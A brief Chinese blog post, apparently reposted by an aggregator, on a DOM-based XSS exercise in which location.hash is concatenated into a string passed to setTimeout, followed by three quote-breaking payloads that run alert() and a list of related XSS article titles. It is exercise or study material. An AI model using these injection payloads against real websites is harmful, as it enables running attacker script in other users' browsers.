XSS之锚点

Posted 镜花水月

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS之锚点相关的知识,希望对你有一定的参考价值。

今天P师傅发了一个XSS链接,让利用一下,源码如下

<script type="text/javascript">

var x=location.hash;
function aa(x){};
setTimeout("aa(‘"+x+"‘)",100);

</script>

然后看了下setTimeout这个函数,用法如下:

语法

setTimeout(code,millisec)
参数描述
code 必需。要调用的函数后要执行的 JavaScript 代码串。
millisec 必需。在执行代码前需等待的毫秒数。

带入函数可以成功执行的几个函数如下:

setTimeout("aa(‘‘,alert(1),‘‘)",1000);
setTimeout("aa(‘‘,alert(2))//‘)",1000);    
setTimeout("aa(‘‘);alert(3);eval(‘‘)",1000);

 

以上是关于XSS之锚点的主要内容,如果未能解决你的问题,请参考以下文章

XSS:如何从 C# 中的字符串中删除 JS 片段?

通过脚本片段绕过XSS防御

是否有标准或首选标签类型可用于向某个位置添加额外的锚点/片段链接?

XSS基础学习

URL中的锚点(fragment片段标识符)是什么?(hash mark(#))(HTML 页面内定位)(之前学html不是学了吗?忘啦?)(SEO 搜索引擎优化)

浅析XSS的几种测试方法